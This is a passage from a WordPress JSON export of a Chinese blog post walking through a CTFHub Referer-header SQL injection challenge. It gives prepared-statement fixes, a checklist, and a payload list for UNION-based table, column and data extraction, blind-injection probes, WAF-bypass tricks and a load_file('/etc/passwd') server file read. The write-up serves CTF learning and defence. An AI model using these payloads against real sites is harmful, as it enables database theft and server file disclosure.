class=\"token string single-quoted-string\">&#039;HTTP_REFERER&#039;<\/span><span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token variable\">$sql<\/span> <span class=\"token operator\">&#061;<\/span> <span class=\"token string double-quoted-string\">&#034;SELECT * FROM news WHERE id&#061;<span class=\"token interpolation\"><span class=\"token variable\">$referer<\/span><\/span>&#034;<\/span><span class=\"token punctuation\">;<\/span><\/p>\n<p>\u6570\u5b57\u578b\u5f3a\u8f6c\u4e4b\u540e&#xff0c;\u6ce8\u5165\u5b57\u7b26\u76f4\u63a5\u88ab\u5f53\u6210 0 \u6216\u6574\u6570&#xff0c;\u62fc\u4e0d\u8fdb\u8bed\u6cd5\u3002\u4f46\u66f4\u901a\u7528\u3001\u66f4\u63a8\u8350\u7684\u8fd8\u662f\u9884\u7f16\u8bd1&#xff08;\u53c2\u6570\u5316\u67e5\u8be2&#xff09;&#xff0c;\u5b57\u7b26\u578b\u4e5f\u80fd\u9632&#xff1a;<\/p>\n<p><span class=\"token variable\">$stmt<\/span> <span class=\"token operator\">&#061;<\/span> <span class=\"token variable\">$conn<\/span><span class=\"token operator\">-&gt;<\/span><span class=\"token function\">prepare<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string double-quoted-string\">&#034;SELECT id, data FROM news WHERE id &#061; ?&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token variable\">$stmt<\/span><span class=\"token operator\">-&gt;<\/span><span class=\"token function\">bind_param<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string double-quoted-string\">&#034;i&#034;<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token variable\">$referer<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token variable\">$stmt<\/span><span class=\"token operator\">-&gt;<\/span><span class=\"token function\">execute<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token variable\">$result<\/span> <span class=\"token operator\">&#061;<\/span> <span class=\"token variable\">$stmt<\/span><span class=\"token operator\">-&gt;<\/span><span class=\"token function\">get_result<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><\/p>\n<p>\u987a\u5e26\u4e00\u63d0&#xff0c;\u8fd9\u9053\u9898\u771f\u6b63\u7684\u6559\u8bad\u4e0d\u662f&#034;Referer \u5371\u9669&#034;&#xff0c;\u800c\u662f&#xff1a;\u4efb\u4f55\u6765\u81ea\u5ba2\u6237\u7aef\u7684\u8f93\u5165&#xff08;URL \u53c2\u6570\u3001\u8bf7\u6c42\u5934\u3001Cookie\u3001Body&#xff09;\u90fd\u4e0d\u53ef\u4fe1\u3002\u5f88\u591a\u65b0\u624b\u53ea\u9632 GET \u53c2\u6570&#xff0c;\u7ed3\u679c\u6ce8\u5165\u70b9\u85cf\u5728 User-Agent\u3001Referer\u3001Cookie \u91cc\u7167\u6837\u88ab\u6253\u7a7f\u3002CTF \u628a\u6ce8\u5165\u70b9\u653e\u5728 Referer&#xff0c;\u5c31\u662f\u5728\u7ec3\u4f60&#034;\u627e\u975e\u5e38\u89c4\u8f93\u5165\u70b9&#034;\u7684\u55c5\u89c9\u3002<\/p>\n<hr \/>\n<h3>6. \u505a\u5b8c\u7684 Checklist<\/h3>\n<p>\u4e0b\u6b21\u9047\u5230 Referer \u6ce8\u5165&#xff08;\u6216\u8005\u4efb\u4f55\u5934\u6ce8\u5165&#xff09;&#xff0c;\u7167\u8fd9\u4e2a\u987a\u5e8f\u8d70&#xff1a;<\/p>\n<ul>\n<li class=\"task-list-item\"> \u786e\u8ba4\u6ce8\u5165\u70b9\u5728\u54ea\u4e2a\u8bf7\u6c42\u5934&#xff08;Referer \/ UA \/ Cookie&#xff09;<\/li>\n<li class=\"task-list-item\"> \u7528 -1 union select 1,2&#xff08;\u6570\u5b57\u578b&#xff09;\u6216 &#039;-1&#039; union select 1,2 &#8211;&#043;&#xff08;\u5b57\u7b26\u578b&#xff09;\u786e\u8ba4\u56de\u663e\u4f4d\u548c\u5b57\u6bb5\u6570<\/li>\n<li class=\"task-list-item\"> order by N \u515c\u5e95\u9a8c\u8bc1\u5b57\u6bb5\u6570<\/li>\n<li class=\"task-list-item\"> \u67e5\u8868\u540d&#xff0c;\u6392\u9664\u6b63\u5e38\u8868&#xff0c;\u9501\u5b9a\u53ef\u7591\u7684\u968f\u673a\u8868<\/li>\n<li class=\"task-list-item\"> \u67e5\u5217\u540d&#xff08;\u8868\u540d\u4ece\u4e0a\u4e00\u6b65\u884c\u590d\u5236&#xff0c;\u522b\u624b\u6572&#xff09;<\/li>\n<li class=\"task-list-item\"> \u8bfb\u6570\u636e\u62ff flag<\/li>\n<li class=\"task-list-item\"> \u5bb9\u5668\u5230\u671f\u5c31\u91cd\u5f00&#xff0c;\u91cd\u5f00\u540e\u8868\u540d\u5217\u540d\u4f1a\u53d8&#xff0c;\u522b\u76f4\u63a5\u590d\u7528\u65e7\u503c<\/li>\n<\/ul>\n<hr \/>\n<h3>7. \u5e38\u7528 Payload \u901f\u67e5<\/h3>\n<p>\u5b58\u4e0b\u6765&#xff0c;\u4e0b\u6b21\u76f4\u63a5\u6539\u7740\u7528&#xff1a;<\/p>\n<p><span class=\"token comment\">&#8212; \u786e\u8ba4\u6ce8\u5165 \/ \u5b57\u6bb5\u6570<\/span><br \/>\n<span class=\"token operator\">&#8211;<\/span><span class=\"token number\">1<\/span> <span class=\"token keyword\">union<\/span> <span class=\"token keyword\">select<\/span> <span class=\"token number\">1<\/span><span class=\"token punctuation\">,<\/span><span class=\"token number\">2<\/span><\/p>\n<p><span class=\"token comment\">&#8212; \u73af\u5883\u4fe1\u606f<\/span><br \/>\n<span class=\"token operator\">&#8211;<\/span><span class=\"token number\">1<\/span> <span class=\"token keyword\">union<\/span> <span class=\"token keyword\">select<\/span> <span class=\"token number\">1<\/span><span class=\"token punctuation\">,<\/span><span class=\"token keyword\">database<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><br \/>\n<span class=\"token operator\">&#8211;<\/span><span class=\"token number\">1<\/span> <span class=\"token keyword\">union<\/span> <span class=\"token keyword\">select<\/span> <span class=\"token number\">1<\/span><span class=\"token punctuation\">,<\/span>version<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><br \/>\n<span class=\"token operator\">&#8211;<\/span><span class=\"token number\">1<\/span> <span class=\"token keyword\">union<\/span> <span class=\"token keyword\">select<\/span> <span class=\"token number\">1<\/span><span class=\"token punctuation\">,<\/span><span class=\"token keyword\">user<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p><span class=\"token comment\">&#8212; \u6240\u6709\u8868\u540d<\/span><br \/>\n<span class=\"token operator\">&#8211;<\/span><span class=\"token number\">1<\/span> <span class=\"token keyword\">union<\/span> <span class=\"token keyword\">select<\/span> <span class=\"token number\">1<\/span><span class=\"token punctuation\">,<\/span>group_concat<span class=\"token punctuation\">(<\/span>table_name<span class=\"token punctuation\">)<\/span> <span class=\"token keyword\">from<\/span> information_schema<span class=\"token punctuation\">.<\/span><span class=\"token keyword\">tables<\/span> <span class=\"token keyword\">where<\/span> table_schema<span class=\"token operator\">&#061;<\/span><span class=\"token keyword\">database<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p><span class=\"token comment\">&#8212; \u6307\u5b9a\u8868\u7684\u6240\u6709\u5217\u540d&#xff08;\u628a TABLE \u6362\u6210\u771f\u5b9e\u8868\u540d&#xff09;<\/span><br \/>\n<span class=\"token operator\">&#8211;<\/span><span class=\"token number\">1<\/span> <span class=\"token keyword\">union<\/span> <span class=\"token keyword\">select<\/span> <span class=\"token number\">1<\/span><span class=\"token punctuation\">,<\/span>group_concat<span class=\"token punctuation\">(<\/span>column_name<span class=\"token punctuation\">)<\/span> <span class=\"token keyword\">from<\/span> information_schema<span class=\"token punctuation\">.<\/span><span class=\"token keyword\">columns<\/span> <span class=\"token keyword\">where<\/span> table_name<span class=\"token operator\">&#061;<\/span><span class=\"token string\">&#039;TABLE&#039;<\/span><\/p>\n<p><span class=\"token comment\">&#8212; \u8bfb\u6570\u636e&#xff08;\u628a COL \/ TABLE \u6362\u6210\u771f\u5b9e\u503c&#xff09;<\/span><br \/>\n<span class=\"token operator\">&#8211;<\/span><span class=\"token number\">1<\/span> <span class=\"token keyword\">union<\/span> <span class=\"token keyword\">select<\/span> <span class=\"token number\">1<\/span><span class=\"token punctuation\">,<\/span>COL <span class=\"token keyword\">from<\/span> <span class=\"token keyword\">TABLE<\/span><\/p>\n<hr \/>\n<h3>8. \u5982\u679c\u9898\u76ee\u518d\u5201\u94bb\u4e00\u70b9<\/h3>\n<p>\u8fd9\u5957 union \u56de\u663e\u80fd\u6253\u901a&#xff0c;\u524d\u63d0\u662f\u9875\u9762\u4f1a\u628a\u67e5\u8be2\u7ed3\u679c\u56de\u663e\u51fa\u6765\u3002\u8981\u662f\u9898\u76ee\u4e0d\u56de\u663e&#xff08;\u76f2\u6ce8&#xff09;&#xff0c;\u6216\u8005\u524d\u9762\u6321\u4e86 WAF&#xff0c;\u5c31\u5f97\u66f4\u8fdb\u4e00\u6b65&#xff1a;<\/p>\n<ul>\n<li>\u5e03\u5c14\u76f2\u6ce8&#xff1a;\u9760\u9875\u9762\u8fd4\u56de\u771f\u5047\u6765\u9010\u5b57\u7b26\u731c\u3002\u6bd4\u5982 if(ascii(substr(database(),1,1))&gt;100,1,0)&#xff0c;\u770b Data \u662f 1 \u8fd8\u662f 0 \u6765\u4e8c\u5206\u3002<\/li>\n<li>\u65f6\u95f4\u76f2\u6ce8&#xff1a;\u4e0d\u56de\u663e\u5c31\u9760\u5ef6\u8fdf\u3002if(ascii(substr(database(),1,1))&gt;100,sleep(5),0)&#xff0c;\u54cd\u5e94\u6162\u4e86 5 \u79d2\u8bf4\u660e\u6761\u4ef6\u6210\u7acb\u3002<\/li>\n<li>\u7ed5 WAF&#xff1a;\u5927\u5c0f\u5199\u6df7\u5199 UnIoN SeLeCt\u3001\u6ce8\u91ca\u5206\u5272 -1\/**\/union\/**\/select\/**\/1,2\u3001\u5173\u952e\u5b57\u7f16\u7801\u7b49&#xff0c;\u770b\u8fc7\u6ee4\u89c4\u5219\u677e\u7d27\u3002<\/li>\n<li>\u8bfb\u6587\u4ef6&#xff1a;\u82e5\u6709 FILE \u6743\u9650&#xff0c;-1 union select 1,load_file(&#039;\/etc\/passwd&#039;) \u80fd\u76f4\u63a5\u8bfb\u670d\u52a1\u5668\u6587\u4ef6\u3002<\/li>\n<\/ul>\n<p>\u8fd9\u4e9b\u662f\u540e\u8bdd&#xff0c;\u8fd9\u7bc7\u5148\u628a&#034;\u6709\u56de\u663e\u7684 union \u6ce8\u5165&#034;\u8d70\u987a&#xff0c;\u540e\u9762\u9047\u5230\u76f2\u6ce8\u518d\u5355\u72ec\u8bb0\u3002<\/p>\n<hr \/>\n<h3>\u9644&#xff1a;\u73af\u5883\u548c\u5de5\u5177<\/h3>\n<ul>\n<li>\u9776\u573a&#xff1a;CTFHub &#8211; Referer \u6ce8\u5165&#xff08;\u5bb9\u5668\u6709\u4f7f\u7528\u65f6\u9650&#xff0c;\u5230\u671f\u4f1a\u53d1\u5047 flag \u5f69\u86cb&#xff0c;\u91cd\u5f00\u5373\u53ef&#xff0c;\u4f46\u8868\u540d\u5217\u540d\u4f1a\u91cd\u7f6e&#xff09;<\/li>\n<li>\u624b\u5de5\u5de5\u5177&#xff1a;Yakit Web Fuzzer&#xff0c;\u624b\u52a8\u5728\u8bf7\u6c42\u5934\u91cc\u52a0 Referer \u884c&#xff0c;\u9010\u4e2a\u8bd5 payload&#xff0c;\u53f3\u4fa7\u770b\u54cd\u5e94<\/li>\n<li>\u81ea\u52a8\u5316&#xff1a;Python &#043; requests&#xff0c;\u4e0a\u9762\u90a3\u4e2a\u811a\u672c<\/li>\n<li>\u53c2\u8003&#xff1a;OWASP SQL Injection \u8bcd\u6761\u3001MySQL information_schema \u5b98\u65b9\u6587\u6863\u3001CTFHub \u5bf9\u5e94\u9898\u76ee\u9875<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>CTFHub Referer \u6ce8\u5165\u5b9e\u6218&#xff1a;\u4ece\u5361\u58f3\u5230\u62ff flag \u7684\u4e00\u5c0f\u65f6\u8e29\u5751\u8bb0\u5f55\u9898\u76ee&#xff1a;CTFHub &#8211; Referer \u6ce8\u5165<br \/>\n\u5b9e\u6218\u65e5\u671f&#xff1a;2026-08-06<br \/>\n\u5bb9\u5668\u5730\u5740&#xff1a;http:\/\/challenge-99ebd9dcdc0b693c.sandbox.ctfhub.com:10800\/<br \/>\n\u6700\u7ec8 flag&#xff1a;ctfhub{07b7ce5d4cc04c4e459a923b}<br \/>\n\u8017\u65f6&#xff1a;\u7ea6\u4e00\u4e2a\u534a\u5c0f\u65f6\u8fd9\u7bc7\u4e0e\u5176\u8bf4<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[10378,10379,4677],"topic":[],"class_list":["post-91035","post","type-post","status-publish","format-standard","hentry","category-server","tag-ctfhub","tag-referer","tag-4677"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>CTFHub Referer \u6ce8\u5165\u5b9e\u6218\uff1a\u4ece\u5361\u58f3\u5230\u62ff flag \u7684\u4e00\u5c0f\u65f6\u8e29\u5751\u8bb0\u5f55 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.wsisp.com\/helps\/91035.html\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"CTFHub Referer \u6ce8\u5165\u5b9e\u6218\uff1a\u4ece\u5361\u58f3\u5230\u62ff flag \u7684\u4e00\u5c0f\u65f6\u8e29\u5751\u8bb0\u5f55 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"og:description\" content=\"CTFHub Referer \u6ce8\u5165\u5b9e\u6218&#xff1a;\u4ece\u5361\u58f3\u5230\u62ff flag \u7684\u4e00\u5c0f\u65f6\u8e29\u5751\u8bb0\u5f55\u9898\u76ee&#xff1a;CTFHub - Referer \u6ce8\u5165 \u5b9e\u6218\u65e5\u671f&#xff1a;2026-08-06 \u5bb9\u5668\u5730\u5740&#xff1a;http:\/\/challenge-99ebd9dcdc0b693c.sandbox.ctfhub.com:10800\/ \u6700\u7ec8 flag&#xff1a;ctfhub{07b7ce5d4cc04c4e459a923b} \u8017\u65f6&#xff1a;\u7ea6\u4e00\u4e2a\u534a\u5c0f\u65f6\u8fd9\u7bc7\u4e0e\u5176\u8bf4\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.wsisp.com\/helps\/91035.html\" \/>\n<meta property=\"og:site_name\" content=\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"article:published_time\" content=\"2026-08-06T10:08:50+00:00\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/91035.html\",\"url\":\"https:\/\/www.wsisp.com\/helps\/91035.html\",\"name\":\"CTFHub Referer \u6ce8\u5165\u5b9e\u6218\uff1a\u4ece\u5361\u58f3\u5230\u62ff flag \u7684\u4e00\u5c0f\u65f6\u8e29\u5751\u8bb0\u5f55 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"isPartOf\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\"},\"datePublished\":\"2026-08-06T10:08:50+00:00\",\"dateModified\":\"2026-08-06T10:08:50+00:00\",\"author\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/91035.html#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.wsisp.com\/helps\/91035.html\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/91035.html#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\/\/www.wsisp.com\/helps\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"CTFHub Referer \u6ce8\u5165\u5b9e\u6218\uff1a\u4ece\u5361\u58f3\u5230\u62ff flag \u7684\u4e00\u5c0f\u65f6\u8e29\u5751\u8bb0\u5f55\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\",\"url\":\"https:\/\/www.wsisp.com\/helps\/\",\"name\":\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"description\":\"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"contentUrl\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"caption\":\"admin\"},\"sameAs\":[\"http:\/\/wp.wsisp.com\"],\"url\":\"https:\/\/www.wsisp.com\/helps\/author\/admin\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"CTFHub Referer \u6ce8\u5165\u5b9e\u6218\uff1a\u4ece\u5361\u58f3\u5230\u62ff flag \u7684\u4e00\u5c0f\u65f6\u8e29\u5751\u8bb0\u5f55 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.wsisp.com\/helps\/91035.html","og_locale":"zh_CN","og_type":"article","og_title":"CTFHub Referer \u6ce8\u5165\u5b9e\u6218\uff1a\u4ece\u5361\u58f3\u5230\u62ff flag \u7684\u4e00\u5c0f\u65f6\u8e29\u5751\u8bb0\u5f55 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","og_description":"CTFHub Referer \u6ce8\u5165\u5b9e\u6218&#xff1a;\u4ece\u5361\u58f3\u5230\u62ff flag \u7684\u4e00\u5c0f\u65f6\u8e29\u5751\u8bb0\u5f55\u9898\u76ee&#xff1a;CTFHub - Referer \u6ce8\u5165 \u5b9e\u6218\u65e5\u671f&#xff1a;2026-08-06 \u5bb9\u5668\u5730\u5740&#xff1a;http:\/\/challenge-99ebd9dcdc0b693c.sandbox.ctfhub.com:10800\/ \u6700\u7ec8 flag&#xff1a;ctfhub{07b7ce5d4cc04c4e459a923b} \u8017\u65f6&#xff1a;\u7ea6\u4e00\u4e2a\u534a\u5c0f\u65f6\u8fd9\u7bc7\u4e0e\u5176\u8bf4","og_url":"https:\/\/www.wsisp.com\/helps\/91035.html","og_site_name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","article_published_time":"2026-08-06T10:08:50+00:00","author":"admin","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"admin","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"5 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.wsisp.com\/helps\/91035.html","url":"https:\/\/www.wsisp.com\/helps\/91035.html","name":"CTFHub Referer \u6ce8\u5165\u5b9e\u6218\uff1a\u4ece\u5361\u58f3\u5230\u62ff flag \u7684\u4e00\u5c0f\u65f6\u8e29\u5751\u8bb0\u5f55 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","isPartOf":{"@id":"https:\/\/www.wsisp.com\/helps\/#website"},"datePublished":"2026-08-06T10:08:50+00:00","dateModified":"2026-08-06T10:08:50+00:00","author":{"@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41"},"breadcrumb":{"@id":"https:\/\/www.wsisp.com\/helps\/91035.html#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.wsisp.com\/helps\/91035.html"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.wsisp.com\/helps\/91035.html#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/www.wsisp.com\/helps"},{"@type":"ListItem","position":2,"name":"CTFHub Referer \u6ce8\u5165\u5b9e\u6218\uff1a\u4ece\u5361\u58f3\u5230\u62ff flag \u7684\u4e00\u5c0f\u65f6\u8e29\u5751\u8bb0\u5f55"}]},{"@type":"WebSite","@id":"https:\/\/www.wsisp.com\/helps\/#website","url":"https:\/\/www.wsisp.com\/helps\/","name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","description":"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"Person","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41","name":"admin","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/","url":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","contentUrl":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","caption":"admin"},"sameAs":["http:\/\/wp.wsisp.com"],"url":"https:\/\/www.wsisp.com\/helps\/author\/admin"}]}},"_links":{"self":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/91035","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/comments?post=91035"}],"version-history":[{"count":0,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/91035\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media?parent=91035"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/categories?post=91035"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/tags?post=91035"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/topic?post=91035"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}